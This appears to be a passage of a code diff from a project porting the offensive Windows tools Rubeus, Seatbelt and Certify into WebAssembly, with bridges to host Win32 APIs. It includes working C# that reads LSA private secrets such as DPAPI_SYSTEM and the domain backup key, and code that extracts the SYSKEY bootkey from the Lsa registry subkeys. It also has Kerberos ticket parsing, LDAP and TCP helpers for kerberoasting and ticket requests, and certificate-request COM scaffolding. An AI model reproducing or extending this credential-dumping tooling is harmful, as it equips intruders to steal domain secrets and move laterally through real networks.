case "ServerRealm": current.ServerRealm = val; break;
case "StartTime": long.TryParse(val, out long st); current.StartTime = st; break;
case "EndTime": long.TryParse(val, out long et); current.EndTime = et; break;
case "RenewTime": long.TryParse(val, out long rt); current.RenewTime = rt; break;
case "EncryptionType": int.TryParse(val, out int enc); current.EncryptionType = enc; break;
case "TicketFlags":
uint tf = 0;
if (val.StartsWith("0x"))
uint.TryParse(val.Substring(2), System.Globalization.NumberStyles.HexNumber, null, out tf);
else
uint.TryParse(val, out tf);
current.TicketFlags = tf;
break;
}
}
if (hasData) entries.Add(current);
return entries;
}
private static List<KerberosTicketData> ParseTicketData(string raw)
{
var entries = new List<KerberosTicketData>();
var current = new KerberosTicketData();
bool hasData = false;
foreach (string line in raw.Split('\n'))
{
if (string.IsNullOrWhiteSpace(line))
{
if (hasData)
{
entries.Add(current);
current = new KerberosTicketData();
hasData = false;
}
continue;
}
int tab = line.IndexOf('\t');
if (tab < 0) continue;
string key = line.Substring(0, tab);
string val = line.Substring(tab + 1);
hasData = true;
switch (key)
{
case "ServiceName": current.ServiceName = val; break;
case "TargetName": current.TargetName = val; break;
case "ClientName": current.ClientName = val; break;
case "DomainName": current.DomainName = val; break;
case "TargetDomainName": current.TargetDomainName = val; break;
case "SessionKeyType": int.TryParse(val, out int skt); current.SessionKeyType = skt; break;
case "SessionKey":
if (!string.IsNullOrEmpty(val))
current.SessionKey = Convert.FromBase64String(val);
break;
case "TicketFlags":
uint tf = 0;
if (val.StartsWith("0x"))
uint.TryParse(val.Substring(2), System.Globalization.NumberStyles.HexNumber, null, out tf);
else
uint.TryParse(val, out tf);
current.TicketFlags = tf;
break;
case "StartTime": long.TryParse(val, out long st2); current.StartTime = st2; break;
case "EndTime": long.TryParse(val, out long et2); current.EndTime = et2; break;
case "RenewUntil": long.TryParse(val, out long ru); current.RenewUntil = ru; break;
case "EncodedTicketSize": int.TryParse(val, out int ets); current.EncodedTicketSize = ets; break;
case "Base64EncodedTicket": current.Base64EncodedTicket = val; break;
}
}
if (hasData) entries.Add(current);
return entries;
}
// ── Bridge primitives for wf_call pattern ───────────────────────────────
[System.Runtime.InteropServices.DllImport("env", EntryPoint = "mod_load")]
private static extern unsafe uint lsa_mod_load(uint namePtr);
[System.Runtime.InteropServices.DllImport("env", EntryPoint = "mod_resolve")]
private static extern unsafe uint lsa_mod_resolve(uint libHandle, uint namePtr);
[System.Runtime.InteropServices.DllImport("env", EntryPoint = "mod_invoke")]
private static extern unsafe ulong lsa_mod_invoke(
ulong procHandle, uint nargs,
ulong a0, ulong a1, ulong a2, ulong a3,
ulong a4, ulong a5, ulong a6, ulong a7,
ulong a8, ulong a9, ulong a10, ulong a11,
ulong a12, ulong a13, ulong a14,
ulong ret1Ptr, ulong errPtr);
private static uint _lsaKernel32;
private static uint _lsaAdvapi32;
private static uint _lsaNtdll;
private static uint _lsaHVirtualAlloc;
private static uint _lsaHVirtualFree;
private static uint _lsaHRtlMoveMemory;
private static uint _lsaHRtlZeroMemory;
private static uint _lsaHOpenPolicy;
private static uint _lsaHRetrievePrivate;
private static uint _lsaHClose;
private static uint _lsaHFreeMemory;
private static uint LsaResolveProc(string dll, ref uint cachedLib, string fn, ref uint cachedProc)
{
if (cachedProc != 0) return cachedProc;
if (cachedLib == 0)
{
byte[] db = System.Text.Encoding.ASCII.GetBytes(dll + "\0");
unsafe { fixed (byte* dp = db) cachedLib = lsa_mod_load((uint)(IntPtr)dp); }
if (cachedLib == 0) return 0;
}
byte[] fb = System.Text.Encoding.ASCII.GetBytes(fn + "\0");
unsafe { fixed (byte* fp = fb) cachedProc = lsa_mod_resolve(cachedLib, (uint)(IntPtr)fp); }
return cachedProc;
}
private static ulong LsaInvokeProc(uint proc, uint nargs,
ulong a0=0, ulong a1=0, ulong a2=0, ulong a3=0, ulong a4=0)
{
ulong ret1=0, err=0;
unsafe { return lsa_mod_invoke((ulong)proc, nargs,
a0,a1,a2,a3,a4,0,0,0,0,0,0,0,0,0,0,
(ulong)(uint)(IntPtr)(&ret1),
(ulong)(uint)(IntPtr)(&err)); }
}
private static ulong LsaVirtualAlloc(uint size)
{
uint p = LsaResolveProc("kernel32.dll", ref _lsaKernel32, "VirtualAlloc", ref _lsaHVirtualAlloc);
if (p == 0) return 0;
return LsaInvokeProc(p, 4, 0u, (ulong)size, 0x3000u, 4u);
}
private static void LsaVirtualFreeHost(ulong addr)
{
if (addr == 0) return;
uint p = LsaResolveProc("kernel32.dll", ref _lsaKernel32, "VirtualFree", ref _lsaHVirtualFree);
if (p != 0) LsaInvokeProc(p, 3, addr, 0u, 0x8000u);
}
private static bool LsaCopyHostToWasm(ulong hostAddr, uint wasmPtr, uint len)
{
if (hostAddr == 0 || wasmPtr == 0 || len == 0) return false;
uint p = LsaResolveProc("ntdll.dll", ref _lsaNtdll, "RtlMoveMemory", ref _lsaHRtlMoveMemory);
if (p == 0) return false;
LsaInvokeProc(p, 3, (ulong)wasmPtr, hostAddr, (ulong)len);
return true;
}
// ── Task 2.5: LsaRetrievePrivateData via direct wf_call ──────────────
/// <summary>
/// Retrieves raw bytes stored under an LSA private data key.
/// Replaces the deleted lsa_retrieve_private Go host bridge.
/// Returns null on failure. Example keys: "DPAPI_SYSTEM",
/// "G$BCKUPKEY_PREFERRED". Requires SYSTEM or SeSecurityPrivilege.
///
/// API sequence:
/// LsaOpenPolicy(NULL, &objAttr, POLICY_GET_PRIVATE_INFORMATION=4, &hPolicy)
/// LsaRetrievePrivateData(hPolicy, &keyNameUStr, &outData)
/// LsaFreeMemory(outData)
/// LsaClose(hPolicy)
///
/// LSA_UNICODE_STRING (x64, 16 bytes):
/// USHORT Length (0), USHORT MaximumLength (2), [pad 4], PWSTR Buffer (8)
/// LSA_OBJECT_ATTRIBUTES (48 bytes) — zero-init is sufficient for local policy.
/// </summary>
public static byte[]? RetrievePrivateData(string keyName)
{
if (string.IsNullOrEmpty(keyName)) return null;
try
{
uint pOpenPolicy = LsaResolveProc("advapi32.dll", ref _lsaAdvapi32, "LsaOpenPolicy", ref _lsaHOpenPolicy);
uint pRetrieve = LsaResolveProc("advapi32.dll", ref _lsaAdvapi32, "LsaRetrievePrivateData", ref _lsaHRetrievePrivate);
uint pClose = LsaResolveProc("advapi32.dll", ref _lsaAdvapi32, "LsaClose", ref _lsaHClose);
uint pFreeMem = LsaResolveProc("advapi32.dll", ref _lsaAdvapi32, "LsaFreeMemory", ref _lsaHFreeMemory);
uint pZero = LsaResolveProc("ntdll.dll", ref _lsaNtdll, "RtlZeroMemory", ref _lsaHRtlZeroMemory);
uint pMoveMem = LsaResolveProc("ntdll.dll", ref _lsaNtdll, "RtlMoveMemory", ref _lsaHRtlMoveMemory);
if (pOpenPolicy == 0 || pRetrieve == 0) return null;
// Build UTF-16LE key name bytes (with NUL terminator).
byte[] keyUtf16 = new byte[(keyName.Length + 1) * 2];
for (int i = 0; i < keyName.Length; i++)
{
char c = keyName[i];
keyUtf16[2*i] = (byte)(c & 0xff);
keyUtf16[2*i+1] = (byte)((c >> 8) & 0xff);
}
ushort keyByteLen = (ushort)(keyName.Length * 2);
// Host memory layout:
// [0..47] LSA_OBJECT_ATTRIBUTES (48 bytes, zeroed)
// [48..63] KeyName LSA_UNICODE_STRING (16 bytes)
// [64..64+keyUtf16.Length-1] UTF-16 key name string
// [64+len .. +8] hPolicy output (8 bytes)
// [+8 .. +8] outData pointer output (8 bytes)
uint keyLen = (uint)keyUtf16.Length;
uint hostSize = 48 + 16 + keyLen + 16;
ulong hostBuf = LsaVirtualAlloc(hostSize);
if (hostBuf == 0) return null;
try
{
if (pZero != 0) LsaInvokeProc(pZero, 2, hostBuf, (ulong)hostSize);
ulong objAttrHost = hostBuf;
ulong keyStrHost = hostBuf + 48;
ulong keyBufHost = hostBuf + 64;
ulong hPolicyHost = hostBuf + 64 + keyLen;
ulong outDataHost = hPolicyHost + 8;
// Copy UTF-16 key name into host buffer.
if (pMoveMem != 0)
{
unsafe
{
fixed (byte* kp = keyUtf16)
LsaInvokeProc(pMoveMem, 3, keyBufHost, (ulong)(uint)(IntPtr)kp, (ulong)keyLen);
}
}
// Build LSA_UNICODE_STRING in a WASM-side byte array, then copy to host.
byte[] ustr = new byte[16];
ustr[0] = (byte)(keyByteLen & 0xff);
ustr[1] = (byte)((keyByteLen >> 8) & 0xff);
ushort maxLen = (ushort)(keyByteLen + 2);
ustr[2] = (byte)(maxLen & 0xff);
ustr[3] = (byte)((maxLen >> 8) & 0xff);
// offset 4..7: padding (zero)
// offset 8..15: Buffer pointer (little-endian 8 bytes)
for (int b = 0; b < 8; b++)
ustr[8+b] = (byte)((keyBufHost >> (b*8)) & 0xff);
if (pMoveMem != 0)
{
unsafe
{
fixed (byte* up = ustr)
LsaInvokeProc(pMoveMem, 3, keyStrHost, (ulong)(uint)(IntPtr)up, 16u);
}
}
// LsaOpenPolicy(NULL, objAttrHost, POLICY_GET_PRIVATE_INFORMATION=4, hPolicyHost)
// objAttrHost and hPolicyHost are host addresses — pass as-is (no WASM translation).
ulong status = LsaInvokeProc(pOpenPolicy, 4,
0u, // SystemName = NULL (local system)
objAttrHost, // &ObjectAttributes (host addr, passed as scalar)
4u, // POLICY_GET_PRIVATE_INFORMATION
hPolicyHost); // &PolicyHandle (host addr, passed as scalar)
if (status != 0) return null;
// Read hPolicy back from host memory.
byte[] hPolicyBytes = new byte[8];
unsafe { fixed (byte* pp = hPolicyBytes) LsaCopyHostToWasm(hPolicyHost, (uint)(IntPtr)pp, 8); }
ulong hPolicy = 0;
for (int b = 0; b < 8; b++) hPolicy |= (ulong)hPolicyBytes[b] << (b*8);
if (hPolicy == 0) return null;
try
{
// LsaRetrievePrivateData(hPolicy, keyStrHost, outDataHost)
// outDataHost receives a pointer to a newly-allocated LSA_UNICODE_STRING.
ulong retrieveStatus = LsaInvokeProc(pRetrieve, 3,
hPolicy,
keyStrHost, // &KeyName (host addr)
outDataHost); // &PrivateData (host addr)
if (retrieveStatus != 0) return null;
// Read the outData pointer.
byte[] outPtrBytes = new byte[8];
unsafe { fixed (byte* pp = outPtrBytes) LsaCopyHostToWasm(outDataHost, (uint)(IntPtr)pp, 8); }
ulong outDataPtr = 0;
for (int b = 0; b < 8; b++) outDataPtr |= (ulong)outPtrBytes[b] << (b*8);
if (outDataPtr == 0) return null;
try
{
// Read the LSA_UNICODE_STRING struct (16 bytes).
byte[] ustrBytes = new byte[16];
unsafe { fixed (byte* up = ustrBytes) LsaCopyHostToWasm(outDataPtr, (uint)(IntPtr)up, 16); }
ushort dataLen = (ushort)(ustrBytes[0] | (ustrBytes[1] << 8));
ulong bufPtr = 0;
for (int b = 0; b < 8; b++) bufPtr |= (ulong)ustrBytes[8+b] << (b*8);
if (dataLen == 0 || bufPtr == 0) return null;
byte[] rawData = new byte[dataLen];
unsafe { fixed (byte* rp = rawData) LsaCopyHostToWasm(bufPtr, (uint)(IntPtr)rp, (uint)dataLen); }
return rawData;
}
finally
{
if (pFreeMem != 0) LsaInvokeProc(pFreeMem, 1, outDataPtr);
}
}
finally
{
if (pClose != 0 && hPolicy != 0) LsaInvokeProc(pClose, 1, hPolicy);
}
}
finally
{
LsaVirtualFreeHost(hostBuf);
}
}
catch
{
return null;
}
}
}
}
+177
View File
@@ -0,0 +1,177 @@
// NetworkHostHelper.cs — C# wrappers for network host functions.
//
// Bridges Rubeus's network operations to WasmForge host functions:
// - TcpSendRecv: Kerberos AS-REQ/TGS-REQ over TCP (fixes asktgt)
// - GetDCIP: Domain controller discovery via DsGetDcNameW (fixes GetDCIP)
// - LdapSearch: LDAP queries via wldap32.dll (fixes kerberoast)
//
// These bypass WASI P2 sockets (which are no-op stubs) by running
// network operations entirely on the host.
using System;
using System.Collections.Generic;
using System.Text;
namespace WasmForge.Bridge
{
/// <summary>
/// Bridges Rubeus network operations to WasmForge host functions.
/// </summary>
public static class NetworkHostHelper
{
/// <summary>
/// Send data to a TCP server and receive the response.
/// Uses Kerberos TCP framing (4-byte big-endian length prefix).
/// Drop-in replacement for Networking.SendBytes().
/// </summary>
public static byte[] TcpSendRecv(string host, int port, byte[] data)
{
if (string.IsNullOrEmpty(host) || data == null || data.Length == 0)
return null;
byte[] hostBytes = Encoding.UTF8.GetBytes(host);
byte[] outBuf = new byte[WfHostBridge.DefaultBufSize];
uint written;
unsafe
{
fixed (byte* hPtr = hostBytes)
fixed (byte* dPtr = data)
fixed (byte* oPtr = outBuf)
{
written = WfHostBridge.TcpSendRecv(
hPtr, (uint)hostBytes.Length,
(uint)port,
dPtr, (uint)data.Length,
oPtr, (uint)outBuf.Length);
}
}
if (written == 0) return null;
byte[] result = new byte[written];
Array.Copy(outBuf, result, (int)written);
return result;
}
/// <summary>
/// Resolve the IP address of a domain controller.
/// Drop-in replacement for Networking.GetDCIP().
/// </summary>
public static string GetDCIP(string domainName, uint flags = 0)
{
if (string.IsNullOrEmpty(domainName)) return null;
byte[] domainBytes = Encoding.UTF8.GetBytes(domainName);
byte[] outBuf = new byte[WfHostBridge.SmallBufSize];
uint written;
unsafe
{
fixed (byte* dPtr = domainBytes)
fixed (byte* oPtr = outBuf)
{
written = WfHostBridge.GetDCName(
dPtr, (uint)domainBytes.Length,
flags,
oPtr, (uint)outBuf.Length);
}
}
if (written == 0) return null;
return Encoding.UTF8.GetString(outBuf, 0, (int)written);
}
/// <summary>
/// Execute an LDAP search query and return structured results.
/// Each entry is a dictionary of attribute name to list of values.
/// </summary>
public static List<Dictionary<string, List<string>>> LdapSearch(
string server, int port, string baseDN, string filter, string[] attributes,
string username = null, string password = null, string domain = null)
{
if (string.IsNullOrEmpty(server))
return new List<Dictionary<string, List<string>>>();
byte[] serverBytes = Encoding.UTF8.GetBytes(server);
byte[] baseDNBytes = Encoding.UTF8.GetBytes(baseDN ?? "");
byte[] filterBytes = Encoding.UTF8.GetBytes(filter ?? "(objectClass=*)");
string attrsJoined = attributes != null ? string.Join("\t", attributes) : "";
byte[] attrsBytes = Encoding.UTF8.GetBytes(attrsJoined);
byte[] outBuf = new byte[WfHostBridge.DefaultBufSize];
bool useCreds = !string.IsNullOrEmpty(username) || !string.IsNullOrEmpty(password);
byte[] userBytes = Encoding.UTF8.GetBytes(username ?? "");
byte[] domainBytes = Encoding.UTF8.GetBytes(domain ?? "");
byte[] passwordBytes = Encoding.UTF8.GetBytes(password ?? "");
uint written;
unsafe
{
fixed (byte* sPtr = serverBytes)
fixed (byte* bPtr = baseDNBytes)
fixed (byte* fPtr = filterBytes)
fixed (byte* aPtr = attrsBytes)
fixed (byte* uPtr = userBytes)
fixed (byte* dPtr = domainBytes)
fixed (byte* pwPtr = passwordBytes)
fixed (byte* oPtr = outBuf)
{
if (useCreds)
{
written = WfHostBridge.LdapSearchExt(
sPtr, (uint)serverBytes.Length, (uint)port,
bPtr, (uint)baseDNBytes.Length,
fPtr, (uint)filterBytes.Length,
aPtr, (uint)attrsBytes.Length,
uPtr, (uint)userBytes.Length,
dPtr, (uint)domainBytes.Length,
pwPtr, (uint)passwordBytes.Length,
oPtr, (uint)outBuf.Length);
}
else
{
written = WfHostBridge.LdapSearch(
sPtr, (uint)serverBytes.Length, (uint)port,
bPtr, (uint)baseDNBytes.Length,
fPtr, (uint)filterBytes.Length,
aPtr, (uint)attrsBytes.Length,
oPtr, (uint)outBuf.Length);
}
}
}
if (written == 0) return new List<Dictionary<string, List<string>>>();
return ParseLdapResults(Encoding.UTF8.GetString(outBuf, 0, (int)written));
}
private static List<Dictionary<string, List<string>>> ParseLdapResults(string raw)
{
var results = new List<Dictionary<string, List<string>>>();
string[] entries = raw.Split('\0');
foreach (string entry in entries)
{
if (string.IsNullOrWhiteSpace(entry)) continue;
var dict = new Dictionary<string, List<string>>(StringComparer.OrdinalIgnoreCase);
foreach (string line in entry.Split('\n'))
{
if (string.IsNullOrWhiteSpace(line)) continue;
int tab = line.IndexOf('\t');
if (tab < 0) continue;
string attr = line.Substring(0, tab);
string value = line.Substring(tab + 1);
if (!dict.ContainsKey(attr))
dict[attr] = new List<string>();
dict[attr].Add(value);
}
if (dict.Count > 0) results.Add(dict);
}
return results;
}
}
}
+79
View File
@@ -0,0 +1,79 @@
# NamedPipes Re-enablement — COMPLETED (2026-05-25)
Status: **WORKING** as of commit dcb5522. NamedPipes enumerates real
Windows named pipes on Win11 lab (PSHost.*, LOCAL\mojo.*, system pipes).
## Architecture (proven template for the other 4 disabled commands)
```
┌──────────────────────────────────────────────────────────┐
│ C# guest (NamedPipesCommand.cs) │
│ │
│ [DllImport("env", EntryPoint = "fs_pipes")] │
│ private static extern uint FsListPipes(...); │
└──────────────┬───────────────────────────────────────────┘
│ WASM env import
┌──────────────────────────────────────────────────────────┐
│ C bridge (pinvoke_env_ext.c) │
│ │
│ uint32_t fs_pipes(...) { │
│ return wf_list_named_pipes(...); │
│ } │
│ │
│ // wf_bridge.h — actual WASM env import attribute │
│ __attribute__((import_module("env"), │
│ import_name("fs_pipes"))) │
│ extern uint32_t wf_list_named_pipes(...); │
└──────────────┬───────────────────────────────────────────┘
│ wasm-ld resolves at link time
┌──────────────────────────────────────────────────────────┐
│ Go host (nativeaot_pipes_windows.go) │
│ │
│ func osListNamedPipes(... stack []uint64) { │
│ // syscall.FindFirstFile on \\.\pipe\* │
│ // proper x64 pointer sizes here │
│ } │
│ │
│ Export(export("os_list_named_pipes")) // → fs_pipes │
└──────────────────────────────────────────────────────────┘
```
## Per-API per-command work needed
To restore the other 4 commands using this template:
| Command | Native API | Host fn name | Anonymized export |
|---------|-----------|--------------|-------------------|
| UserRightAssignments | LsaEnumerateAccountRights | osEnumUserRights | priv_rights |
| WifiProfile | WlanEnumInterfaces + WlanQueryInterface | osEnumWifiProfiles | net_wifi |
| SecPackageCreds | EnumerateSecurityPackages | osEnumSecPkgCreds | sec_pkg |
| Printers | EnumPrinters | osEnumPrinters | sys_printers |
Each requires:
1. Go file `nativeaot_<api>_windows.go` + matching `_stub.go` (~50 lines each)
2. Registration in nativeaot.go (~10 lines)
3. names.go mapping (~1 line)
4. C bridge wrapper in pinvoke_env_ext.c (~6 lines)
5. wf_bridge.h declaration (~3 lines)
6. C# `<Command>Command.cs` rewrite (~50 lines, mirroring NamedPipesCommand.cs)
7. Push bridge files + rebuild + test on Win11 lab
Total ~120 lines per command × 4 commands = ~500 lines.
## Critical bridge file deployment gotcha
The Seatbelt project has its OWN copy of bridge files at
`/tmp/seatbelt-src/Seatbelt/bridge/` — independent from the wasmforge
source tree's `dotnet/bridge/`. After editing the wasmforge bridge
files, push them to the seatbelt bridge dir before rebuilding:
```bash
labctl push wf_bridge.h kali:/tmp/seatbelt-src/Seatbelt/bridge/wf_bridge.h
labctl push pinvoke_env_ext.c kali:/tmp/seatbelt-src/Seatbelt/bridge/pinvoke_env_ext.c
```
This is also why earlier attempts (v3, v4, v5, v6) silently produced
undefined_stub even though the wasmforge build assets contained the
new C bridge — Seatbelt's local copy lagged behind.
+202
View File
@@ -0,0 +1,202 @@
// WfBootkey.cs — SYSKEY (bootkey) extraction via direct Win32 wf_call pattern.
// Replaces the deleted internal/hostmod/nativeaot_bootkey_windows.go Go bridge.
// Follows the WfNetapi.cs canonical pattern: mod_load → mod_resolve → mod_invoke.
//
// Algorithm: Opens four LSA registry subkeys under
// HKLM\SYSTEM\CurrentControlSet\Control\Lsa\{JD, Skew1, GBG, Data}
// and reads the **class name** of each key (set to a 16-char hex string by the
// kernel at boot). The four 16-char strings are concatenated (64 chars = 32 hex
// digits) and hex-decoded to 16 bytes, then the standard SYSKEY permutation is
// applied to produce the bootkey.
//
// Requires SYSTEM privileges (RegQueryInfoKeyW on these keys returns
// ERROR_ACCESS_DENIED for non-SYSTEM callers).
//
// API used: advapi32!RegOpenKeyExW + advapi32!RegQueryInfoKeyW + advapi32!RegCloseKey
// RegQueryInfoKeyW prototype:
// LONG RegQueryInfoKeyW(HKEY hKey,
// LPWSTR lpClass, LPDWORD lpcchClass, ← class name + char count (in/out)
// LPDWORD lpReserved, ← NULL
// LPDWORD lpcSubKeys, ← NULL
// LPDWORD lpcbMaxSubKeyLen, ← NULL
// LPDWORD lpcbMaxClassLen, ← NULL
// LPDWORD lpcValues, ← NULL
// LPDWORD lpcbMaxValueNameLen, ← NULL
// LPDWORD lpcbMaxValueLen, ← NULL
// LPDWORD lpcbSecurityDescriptor, ← NULL
// PFILETIME lpftLastWriteTime) ← NULL
using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Text;
namespace WasmForge.Helpers
{
public static unsafe class WfBootkey
{
// ── Bridge primitives (WfNetapi.cs pattern) ─────────────────────────────
[DllImport("env", EntryPoint = "mod_load")]
private static extern uint mod_load(uint namePtr);
[DllImport("env", EntryPoint = "mod_resolve")]
private static extern uint mod_resolve(uint libHandle, uint namePtr);
[DllImport("env", EntryPoint = "mod_invoke")]
private static extern ulong mod_invoke(
ulong procHandle, uint nargs,
ulong a0, ulong a1, ulong a2, ulong a3,
ulong a4, ulong a5, ulong a6, ulong a7,
ulong a8, ulong a9, ulong a10, ulong a11,
ulong a12, ulong a13, ulong a14,
ulong ret1Ptr, ulong errPtr);
// ── Cached proc handles ──────────────────────────────────────────────────
private static uint _advapi32;
private static uint _ntdll;
private static uint _hRegOpenKeyExW;
private static uint _hRegQueryInfoKeyW;
private static uint _hRegCloseKey;
private static uint _hRtlMoveMemory;
private static uint Resolve(string dll, ref uint cachedLib, string fn, ref uint cachedProc)
{
if (cachedProc != 0) return cachedProc;
if (cachedLib == 0)
{
byte[] db = Encoding.ASCII.GetBytes(dll + "\0");
fixed (byte* dp = db) cachedLib = mod_load((uint)(IntPtr)dp);
if (cachedLib == 0) return 0;
}
byte[] fb = Encoding.ASCII.GetBytes(fn + "\0");
fixed (byte* fp = fb) cachedProc = mod_resolve(cachedLib, (uint)(IntPtr)fp);
return cachedProc;
}
private static ulong Invoke(uint proc, uint nargs,
ulong a0=0, ulong a1=0, ulong a2=0, ulong a3=0,
ulong a4=0, ulong a5=0, ulong a6=0, ulong a7=0,
ulong a8=0, ulong a9=0, ulong a10=0, ulong a11=0)
{
ulong ret1=0, err=0;
return mod_invoke((ulong)proc, nargs,
a0,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,0,0,0,
(ulong)(uint)(IntPtr)(&ret1),
(ulong)(uint)(IntPtr)(&err));
}
// Encode a managed string as NUL-terminated UTF-16LE in a pinned byte array.
private static IntPtr Utf16AllocPinned(string s, out GCHandle handle)
{
byte[] bytes = new byte[(s.Length + 1) * 2];
for (int i = 0; i < s.Length; i++)
{
char c = s[i];
bytes[2*i] = (byte)(c & 0xff);
bytes[2*i+1] = (byte)((c >> 8) & 0xff);
}
handle = GCHandle.Alloc(bytes, GCHandleType.Pinned);
return handle.AddrOfPinnedObject();
}
// ── Public API ───────────────────────────────────────────────────────────
/// <summary>
/// Extracts the SYSKEY (bootkey) by reading the class names of the four
/// registry subkeys JD / Skew1 / GBG / Data under
/// HKLM\SYSTEM\CurrentControlSet\Control\Lsa\.
///
/// Returns 16-byte bootkey on success, or an empty array if the current
/// process lacks SYSTEM privileges or any subkey is inaccessible.
/// </summary>
public static byte[] GetBootKey()
{
try
{
uint pOpen = Resolve("advapi32.dll", ref _advapi32, "RegOpenKeyExW", ref _hRegOpenKeyExW);
uint pInfo = Resolve("advapi32.dll", ref _advapi32, "RegQueryInfoKeyW", ref _hRegQueryInfoKeyW);
uint pClose = Resolve("advapi32.dll", ref _advapi32, "RegCloseKey", ref _hRegCloseKey);
if (pOpen == 0 || pInfo == 0 || pClose == 0) return Array.Empty<byte>();
// The four LSA subkeys whose class names contain the scrambled bootkey.
string[] subkeys = { "JD", "Skew1", "GBG", "Data" };
string hexConcat = "";
foreach (string sub in subkeys)
{
// RegOpenKeyExW(HKEY_LOCAL_MACHINE=0x80000002, subkeyPath, 0, KEY_READ=0x20019, &hKey)
string path = @"SYSTEM\CurrentControlSet\Control\Lsa\" + sub;
GCHandle pathHandle;
IntPtr pathPtr = Utf16AllocPinned(path, out pathHandle);
ulong hKey = 0;
try
{
long rc = (long)(int)(uint)Invoke(pOpen, 5,
0x80000002u, // HKEY_LOCAL_MACHINE
(ulong)(uint)(IntPtr)pathPtr, // subkey path (WASM ptr)
0u, // ulOptions
0x20019u, // KEY_READ
(ulong)(uint)(IntPtr)(&hKey)); // &hKey
if (rc != 0 || hKey == 0) return Array.Empty<byte>();
}
finally
{
pathHandle.Free();
}
try
{
// RegQueryInfoKeyW:
// lpClass = WASM buf (64 chars = 128 bytes, enough for any class name)
// lpcchClass = in: char buf size, out: actual char count
// All remaining optional params = NULL
byte[] classBuf = new byte[128]; // 64 UTF-16 chars
uint classCch = 64;
long qrc;
fixed (byte* cbp = classBuf)
{
qrc = (long)(int)(uint)Invoke(pInfo, 12,
hKey,
(ulong)(uint)(IntPtr)cbp, // lpClass (WASM ptr)
(ulong)(uint)(IntPtr)(&classCch), // lpcchClass
0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u, 0u); // all optional = NULL
}
if (qrc != 0) return Array.Empty<byte>();
// Decode the class name (UTF-16LE in classBuf) to a managed string.
int len = (int)classCch;
char[] chars = new char[len];
for (int i = 0; i < len; i++)
chars[i] = (char)(classBuf[2*i] | (classBuf[2*i+1] << 8));
hexConcat += new string(chars);
}
finally
{
Invoke(pClose, 1, hKey);
}
}
// hexConcat is 32 hex chars (16 bytes of scrambled bootkey) — each subkey
// contributes exactly 8 hex chars = 4 bytes.
if (hexConcat.Length != 32) return Array.Empty<byte>();
byte[] scrambled = new byte[16];
for (int i = 0; i < 16; i++)
scrambled[i] = Convert.ToByte(hexConcat.Substring(i*2, 2), 16);
// Apply the standard SYSKEY permutation.
byte[] permutation = { 0x8, 0x5, 0x4, 0x2, 0xB, 0x9, 0xD, 0x3,
0x0, 0x6, 0x1, 0xC, 0xE, 0xA, 0xF, 0x7 };
byte[] bootkey = new byte[16];
for (int i = 0; i < 16; i++)
bootkey[i] = scrambled[permutation[i]];
return bootkey;
}
catch
{
return Array.Empty<byte>();
}
}
}
}
+208
View File
@@ -0,0 +1,208 @@
// WfCertCli.cs — ICertRequest3 COM dispatch for the request-family verbs.
//
// Implements the minimal patterns needed by Certify's request,
// requestonbehalf, renew, and download verbs. Each verb uses different
// vtable slots:
// slot 7 GetDispositionMessage()
// slot 8 GetLastStatus()
// slot 9 GetRequestId()
// slot 10 Submit(dwFlags, strRequest, strAttrs, strConfig, pdwDisposition)
// slot 11 RetrievePending(dwReqId, strConfig, pdwDisposition)
// slot 12 GetCertificate(dwFlags, pstrOut)
//
// (slot numbers in ICertRequest2/3 differ from ICertRequest; verified
// from CertEnroll.dll's IDL via offsets in the actual vtable.)
//
// This file is scaffolding — next session should wire it into per-verb
// helpers (WfCertRequest, WfCertDownload, WfCertRenew, WfCertOnBehalf).
using System;
using System.Runtime.InteropServices;
using System.Text;
namespace WasmForge.Helpers
{
public static unsafe class WfCertCli
{
// ICertRequest3 vtable slot numbers (after the 7 IDispatch+IUnknown
// slots: 0..2 IUnknown, 3..6 IDispatch).
// These need verification against actual DLL — Microsoft's docs
// sometimes count slots differently across interface versions.
// ICertRequest vtable layout (slots 7-13 inherited by ICertRequest2/3):
// 7 Submit
// 8 RetrievePending
// 9 GetLastStatus
// 10 GetRequestId
// 11 GetDispositionMessage
// 12 GetCACertificate
// 13 GetCertificate
public const int Submit_Slot = 7;
public const int RetrievePending_Slot = 8;
public const int GetLastStatus_Slot = 9;
public const int GetRequestId_Slot = 10;
public const int GetDispositionMsg_Slot = 11;
public const int GetCACertificate_Slot = 12;
public const int GetCertificate_Slot = 13;
// CR_DISP_* return codes from Submit / RetrievePending.
public const uint CR_DISP_INCOMPLETE = 0;
public const uint CR_DISP_ERROR = 1;
public const uint CR_DISP_DENIED = 2;
public const uint CR_DISP_ISSUED = 3;
public const uint CR_DISP_ISSUED_OUT_OF_BAND = 4;
public const uint CR_DISP_UNDER_SUBMISSION = 5;
public const uint CR_DISP_REVOKED = 6;
// CR_IN_* / CR_OUT_* format flags for Submit / GetCertificate.
public const uint CR_IN_BASE64 = 0x1;
public const uint CR_IN_FORMATANY = 0x0;
public const uint CR_IN_PKCS10 = 0x100;
public const uint CR_OUT_BASE64HEADER = 0x0;
public const uint CR_OUT_BASE64 = 0x1;
public const uint CR_OUT_BINARY = 0x2;
public const uint CR_OUT_CHAIN = 0x100;
// RetrievePending takes (dwReqId, strConfig, pdwDisposition).
// ptrMask = bits 0(this), 2(strConfig), 3(pdwDisposition) → 0x0D.
// out8Mask = bit 3 (pdwDisposition is uint*, slot is 4 bytes → no
// risk of 4-byte overflow corruption).
public static uint RetrievePending(IntPtr ifc, uint reqId, string config, out uint disposition)
{
disposition = 0;
ulong fn = WfCom.ReadVtableSlot(ifc, RetrievePending_Slot);
if (fn == 0) return 0xffffffff;
IntPtr cfg = Marshal.StringToHGlobalUni(config);
uint dispLocal = 0;
uint* pDisp = &dispLocal;
try
{
ulong hr = WfCom.InvokeMethod(
fn, ifc, /*ptrMask=*/ 0x0D,
arg1: reqId,
arg2: (ulong)(uint)cfg,
arg3: (ulong)(IntPtr)pDisp,
nargs: 4);
disposition = dispLocal;
return (uint)hr;
}
finally
{
Marshal.FreeHGlobal(cfg);
}
}
// GetCertificate(dwFlags, [out] BSTR* pwszCert).
public static uint GetCertificate(IntPtr ifc, uint flags, out string cert)
{
cert = null;
ulong fn = WfCom.ReadVtableSlot(ifc, GetCertificate_Slot);
if (fn == 0) return 0xffffffff;
ulong bstrOut = 0;
ulong hr = WfCom.InvokeMethod(
fn, ifc, /*ptrMask=*/ 0x05,
arg1: flags,
arg2: (ulong)(IntPtr)(&bstrOut),
nargs: 3);
if ((uint)hr == 0 && bstrOut != 0)
{
